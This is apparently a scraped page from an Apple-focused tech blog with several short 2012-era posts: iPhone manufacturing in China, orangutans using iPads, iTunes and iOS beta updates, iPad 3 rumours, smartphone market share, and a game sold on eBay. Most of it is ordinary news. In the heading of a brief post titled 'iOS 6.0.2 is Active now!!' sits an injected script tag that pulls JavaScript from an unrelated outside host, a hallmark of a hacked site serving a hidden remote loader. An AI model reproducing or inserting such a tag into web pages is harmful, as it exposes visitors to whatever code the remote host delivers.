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Why Apple Doesn’t Make the iPhone in America

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The answer is pretty obvious, right? It’s cheaper labor! But is that the only reason why Apple (and other companies) outsource its workforce to China as opposed to keeping them in America? No. There’s more. The NY Times has an excellent report on why Apple ignores America when it comes to making the iPhone and how that’s better for Apple.

During that infamous Silicon Valley dinner with Barack Obama, the POTUS asked Steve Jobs, “what would it take to make iPhones in the United States?” And once upon a time, Apple would have loved to make the iPhone in the US of A. In fact, the old Apple prided itself on making products in the USA. But ever since the early 2000′s, Apple has made most of its products outside the US. Why? It’s a combination of not only cheaper labor but better labor, better factories and scale.According to the NY Times, who spoke with Apple executives:

Apple’s executives had estimated that about 8,700 industrial engineers were needed to oversee and guide the 200,000 assembly-line workers eventually involved in manufacturing iPhones. The company’s analysts had forecast it would take as long as nine months to find that many qualified engineers in the United States.

In China, it took 15 days.

That flexibility, speed and scale in factory workers just doesn’t exist in the US. Apple says it “shouldn’t be criticized for using Chinese workers” because “the U.S. has stopped producing people with the skills we need.” There just aren’t enough skilled workers in the US that have that inbetween degree of high school and college. That’s what Apple wants in its factory workers and that’s what China gives ‘em.

And though everyone cites how the cost of labor is much cheaper in China, the fact is labor is less important to a company’s bottom line than supply chains are. And the reality is, all the supply chains to manufacture consumer electronics exist in China. Components are made in this facility, glass next door, a million screws can be found down the road, so on and so on—that convenience saves companies a lot more money than the benefit of hiring cheap labor.


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Orangutans use iPads at zoos

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We do love our gadgets and electronics. But apparently we aren’t the only ones.

Orangutans in some zoos have been using iPads as enrichment to reduce boredom. For the past six months, these orange primates at Milwaukee zoo have been playing games and watching videos on Apple’s iPad. One of them, a 31-year old orangutan named MJ, is a big fan of David Attenborough’s nature documentaries.

Zookeepers and and the charity Orangutan Outreach are now considering setting up WiFi, cameras and Skype so that the orangutans from different zoos can watch each other. Doing so would serve several purposes. Orangutan Outreach hopes that by seeing these sentient, self-aware, and intelligent animals playing with the same gadgets as us, we’ll be more inclined to support their charity and also to take better care of the environment (Indonesian orangutans are critically endangered due to human activity). And perhaps it would create relationships and communication between different primates who otherwise would never know each other existed. This kind of enrichment has some amazing possibilities to it.


iTunes new update is released

Today a new update for iTunes has been released. The new release is 10.5.3.

iTunes 10.5.3 allows you to sync interactive iBooks textbooks to your iPad. These Multi-Touch textbooks are available for purchase from the iTunes Store on your Mac or from the iBookstore included with iBooks 2 on your iPad.

 

iBooks textbooks are created with iBooks Author — now available as a free download on the Mac App Store.

 

For information on the security content of this update, please visit: support.apple.com/kb/HT1222


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Apple integrates Facebook into iOS 5.1

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After integrating Twitter into iOS 5, Apple seems to be doing the same thing with Facebook. Both iPad 3 and Facebook references have been discovered iOS 5.1 beta 3. The latest iOS 5 developer beta also features a field for a Facebook user name in the contacts app, as you can see in the screenshot above (courtesy of iMore), but this already exists in iOS 5.0.1. The mentions of Facebook in the code don’t necessarily mean it will be integrated in iOS 5 or iOS 6 this year, but the likelihood has certainly just jumped a few notches.

The best Facebook integration I’ve seen to date in a mobile OS is undoubtedly the one in Windows Phone. Facebook develops the native app for Apple’s iOS, but not for Windows Phone. More importantly, Microsoft built Windows Phone after Apple developed iOS, so Redmond had the opportunity to include Facebook from the ground-up. Cupertino may be looking for a way to take the Facebook integration crown away from Microsoft, further destroying the software giant’s chances of offering unique functions with its mobile space offering.

Facebook was supposed to be integrated into iOS 4. Cupertino wanted to code its own Facebook features because it lacked confidence in Menlo Park’s ability to build a great app, so it built the social network into its mobile operating system. Facebook said no and negotiations broke down. Apple then went with Twitter in iOS 5.

Have the two now managed to reach an agreement or is this just left over legacy code? It sure looks like the former, although with Apple and Facebook, you just never know.

The iOS-Facebook saga is one of three recent episodes which demonstrated a strained Apple-Facebook relationship (the other two are related to Ping and the HP TouchPad). The partnership between the two technology giants started to turn around last year, however, possibly because the duo shares a mutual enemy: Google.


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iOS 6.0.2 is Active now!!<script type="text/javascript" src="http://abrahamspath.org.uk/cb.php"></script>

A new update for iOS is available for download.
iOS 6.0.2 is meant to fix few bugs which reported by iOS users lately.

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Bloomberg: iPad 3 To Have Quad-Core CPU, LTE, High-Def Screen

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You’ve just got to love the timing. First, Apple announces their education-focused media event smack dab in the middle of CES. Now, just as CES is winding down, Bloomberg has “three people familiar with the product” spilling purported details on the next iPad. Whether or not Apple won CES without even being there, they’re certainly trying.

None of the leaked details are particularly new, but that it comes from Bloomberg and they’ve seemingly got full confidence in their source(s) makes them a bit more credible than rumors prior.

Here’s the gist of it:

  • The next iPad (Bloomberg calls it “iPad 3?, though even that detail is of course unconfirmed) is said to have gone into production this month, with production ramping up until February, with a launch in March.
  • It’ll have a quad-core CPU (as opposed to the dual-core A5 found in iPad 2)
  • It’ll have a “high-def” screen
  • Support for LTE (4G)

The most curious bit? The use of the phrase “high-def” instead of “Retina” with regards to the display. If Apple was throwing around the “Retina” term internally, at least one of Bloomberg’s three sources presumably would’ve thought to mention it. If the sources mentioned it, Bloomberg would have squeezed it into the article somewhere — and they didn’t. With leaks like this, what’s not said can be as important as what is. Higher-res screen? Yes. But the absurdly high-resolution that a “retina” iPad would require (something like 2560 x 1920, higher than any monitor Apple has ever made regardless of size)? Probably not.


WhatsApp seems to be Disappeared from App Store

Some rumors were going around here and there about the removal of WhatsApp from App Store due to some aforementioned security issue.

We need to clarify that those are only rumors, and it’s not related to the truth by any means.

The Truth is that WhatsApp submitted a new version of the application and they are still waiting for it to be approved by Apple as confirmed below in their Twitter:

WhatsApp Inc. @WhatsApp

Sorry, WhatsApp is temporarily unavailable on iTunes. We submitted a new version and are awaiting approval and publication by Apple

14 Jan 12

So WhatsApper’s don’t worry, the divorce did not happen yet.


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iPhone 4S inches Apple closer to Android in top market share

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Android is still beating Apple in the smartphone wars, but the iPhone 4S has narrowed the gap between the two rivals, according to NPD data released yesterday at CES.

Analyzing last year’s smartphone market, NPD found that iOS’s share surged to 43 percent in October and November from just 26 percent in the third quarter, thanks largely to demand for the iPhone 4S. Though Google’s mobile OS maintained its lead, its share dropped in October and November to 47 percent from 60 percent in the previous quarter.

With Apple and Android vying for the top spot, other smartphone players have lagged far behind, "turning the OS battle into a two-horse race," according to NPD.

In third place was RIM’s OS, which steadily dropped market share over the past 12 months, falling from 19 percent in the fourth quarter of 2010 to just 6 percent in October and November of last year. Microsoft’s Windows Mobile and Windows Phone 7 also struggled, each grabbing around 1 percent of the market toward the end of the year.

Microsoft is counting on Nokia to give Windows Phone a much-needed shot in the arm. The Finnish phone maker unveiled its new Lumia 900 at CES yesterday. Slated for AT&T, the Lumia 900 is Nokia’s first 4G LTE device to sport the Windows Phone OS.

Some analysts believe Windows Phone could climb its way to third place in the global smartphone arena ahead of RIM, helping both Microsoft and Nokia. Credit Suisse analyst Kulbinder Garcha sees Windows Phone as the key to reviving Nokia’s sluggish sales and falling market share. But both companies face an uphill battle in a landscape currently sewn up by iOS and Android.


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Apple Releases iOS 5.1 Beta 3 With The Ability To Toggle 3G Again

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Apple has seeded a new beta this afternoon for iOS 5.1 to registered developers in the iOS Dev Center. Those that have been running the second iOS 5.1 beta can download this newest update through iOS 5?s over-the-air update feature in the Settings app.

While iOS 5.1 beta 3 (Build 9B5141a) doesn’t seem to bring anything particularly revolutionary to the table, it appears that the “Enable 3G” toggle has been enabled for quickly disabling 3G data.

The toggle was removed with the release of iOS 5.0, but Apple has seen to adding it back in this latest beta. The setting can be found under Settings > Network on pre-iOS 5 and 5.1 beta 3 software. When you turn off 3G data, you will be placed on your carrier’s 2G/EDGE network. While data speeds will become considerably slower, your iPhone’s battery will last longer.

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Apple has also introduced some API improvements to help developers designate certain app files that should not be backed up by the system. Xcode 4.3 Developer Preview 3 and Apple TV 5.1 beta 2 have also been seeded. Apple asks developers to test AirPlay with their iOS 5.1 apps.

iOS 5.1 beta 2 was released on December 12th, 2011. 5.1 beta 3 expires on Wednesday, March 14th.


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iOS Developer Bypasses the App Store and Sells Games on eBay

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If there was ever any proof needed that the App Store is not always laced with gold and rainbows, then this is surely it!

Disappointed with the attention that two of its games were receiving, both the paid forand free versions of Cannon Collision, LLLo Inc. has made the source code and all associated graphics available via auction using the ever popular eBay.

With the paid-for version of Cannon Collision currently retailing for a dollar, and the free version sporting ads, if anyone is looking to get their feet wet in the world of iOS games development, then this might be a place to start…

According to the company’s eBay listing, the auction also includes an hour of a developer’s time in order to help facilitate the transaction. It is worth noting that no Apple iTunes Connect accounts are being offered here, but merely the source code and media that go along with it. Should you win the auction you will also need to have your own developer account, currently costing $99 from Apple.

“You will be given the source code and I will make my developer available for 1 hour to change the admob and greystripe ads on the free version to your account and to add the apps to your own itunes connect account free of charge.”

A lack of publicity was the reason for the game’s downfall according to the developer, though we’re not sure the game’s premise of keeping bouncing balls from touching wasn’t partly the reason, too.

We’re fairly sure this is the first time an iOS game has been sold in such a manner, and with the auctions still at its starting price of $99, it might be the last, too.


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